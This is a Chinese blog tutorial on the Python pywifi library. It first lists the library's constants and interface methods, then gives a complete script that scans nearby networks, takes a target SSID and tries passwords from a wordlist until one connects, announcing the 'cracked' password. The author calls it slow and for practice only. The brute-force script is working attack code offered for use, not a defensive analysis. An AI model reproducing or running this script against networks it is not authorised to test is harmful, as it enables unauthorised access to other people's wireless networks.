python中pywifi的具体使用
一只小余 人气:0写在前面
无线AP(Access Point):即无线接入点
python的wifi管理模块叫pywifi
安装
pip install pywifi
pywifi
常量
接口状态
Interface.status()将返回以下状态代码之一。
const.IFACE_DISCONNECTED # 无连接 const.IFACE_SCANNING # 扫描中 const.IFACE_INACTIVE # 激活 const.IFACE_CONNECTING # 连接中 const.IFACE_CONNECTED # 连接
身份验证算法
身份验证算法应辅助到配置文件中。 在正常情况下,几乎所有AP都使用开放算法。
const.AUTH_OPEN # 授权打开 const.AUTH_SHARED # 身份验证共享
密钥管理类型
密钥管理类型应分配给配置文件。
对于普通 AP,如果
AP 不是安全设置,请将配置文件 AKM 设置为 。AKM_TYPE_NONE
AP 处于 WPA 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPAPSK
AP 处于 WPA2 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPA2PSK
AKM_TYPE_WPA并由企业 AP 使用。AKM_TYPE_WPA2
const.AKM_TYPE_NONE const.AKM_TYPE_WPA const.AKM_TYPE_WPAPSK const.AKM_TYPE_WPA2 const.AKM_TYPE_WPA2PSK # 一般用这个
密码类型
如果 akm 不是,则应将密码类型设置为配置文件。 您可以参考要连接的AP的设置。AKM_TYPE_NONE
const.CIPHER_TYPE_NONE const.CIPHER_TYPE_WEP const.CIPHER_TYPE_TKIP const.CIPHER_TYPE_CCMP
网络配置文件
配置文件是我们要连接到的AP的设置。 配置文件的字段:
- ssid- AP 的 ssid/wifi的名字
- auth- AP 的身份验证算法。
- akm- AP 的密钥管理类型。
- cipher- AP 的密码类型。
- key (最佳) - AP 的键。 如果密码不是 ,则应设置此项。CIPHER_TYPE_NONE
接口
接口是指我们用来执行的 Wi-Fi 接口 Wi-Fi 操作(例如扫描、连接、断开连接等)。
首先:获取接口信息
通常,平台中将只有一个Wi-Fi接口。 因此,使用索引 0 00 获取 Wi-Fi 接口。
import pywifi wifi = pywifi.PyWiFi() iface = wifi.interfaces()[0]
Interface.name()
获取 Wi-Fi 接口的名称。
Interface.scan()
触发接口扫描 APs。
Interface.scan_results()
获取上一次触发扫描的结果。 将返回配置文件列表。
注意:因为每个 Wi-Fi 接口的扫描时间都是不同的。 2~8秒后拨打更安全。
Interface.add_network_profile(profile)
添加 AP 配置文件以便稍后连接。
Interface.remove_all_network_profiles()
卸下所有AP配置文件。
Interface.network_profiles()
通过返回配置文件列表获取所有已保存的AP配置文件。
Interface.connect(profile)
通过给定配置文件连接到指定的 AP。注意。作为当前的设计,应该是 之前调用的被调用。add_network_profile(profile)connect(profile)
Interface.disconnect()
断开当前 AP 连接。
Interface.status()
获取当前状态的状态。
wifi连接代码
pywifi原理就是操纵网卡,一个一个的试密码,直到密码正确,这时电脑也会连上这个wifi。
效率极低,就用来练手就行
害,加上2个字会过不了审核我不理解。这东西又不会真的拿去用,连接一次就得2秒,跑完字典不知道要多久去了。
# coding:utf-8 import pywifi from pywifi import const import time import datetime # 输入wifi名称 def wifi_scan(): print("开始扫描wifi,请等待...") iface.scan() # 扫描 time.sleep(3) results = iface.scan_results() # 扫描结果 a = set() for data in results: # 每一个wifi创建一个对象 if data.ssid not in a: a.add(data.ssid) print(data.ssid.encode('raw_unicode_escape').decode('utf-8')) # 测试连接,返回链接结果 def wifi_connect(pwd): # 断开所有连接 iface.disconnect() time.sleep(0.5) # 测试网卡是否属于断开状态 wifi_status = iface.status() if wifi_status == const.IFACE_DISCONNECTED: # 创建WiFi连接文件 profile = pywifi.Profile() # 要连接WiFi的名称 profile.ssid = name # 网卡的开放状态 profile.auth = const.AUTH_ALG_OPEN # wifi加密算法,一般wifi加密算法为wps profile.akm.append(const.AKM_TYPE_WPA2PSK) # 加密单元 profile.cipher = const.CIPHER_TYPE_CCMP # 设定连接文件 iface.add_network_profile(profile) # 调用密码 profile.key = pwd # 删除所有连接过的wifi文件 iface.remove_all_network_profiles() # 设定新的连接文件 tep_profile = iface.add_network_profile(profile) iface.connect(tep_profile) # wifi连接时间 time.sleep(1) if iface.status() == const.IFACE_CONNECTED: return True else: return False else: print("已有wifi连接") def readPassword(): print("开始破解:") # 密码字典路径"密码本路径" path = "路径" i = 0 # 打开密码字典逐行读取 with open(path, 'r') as f: for line in f: pwd = line.strip('\n') if 8 < len(pwd) < 16: # 一行一行读取 i += 1 if i % 10 == 0: print("正在进行第{}次尝试".format(i)) b = wifi_connect(pwd) if b: print("密码已破解: ", pwd) print("WiFi已自动连接!!!") break # 抓取网卡接口 wifi = pywifi.PyWiFi() # 获取第一个wifi接口 iface = wifi.interfaces()[0] # 输出全部wifi wifi_scan() # 输入wifi名称 name = input("请输入wifi名称:").encode('utf-8').decode('raw_unicode_escape') start = datetime.datetime.now() readPassword() end = datetime.datetime.now() print("破解WIFI密码一共用了多长时间:{}".format(end - start))
加载全部内容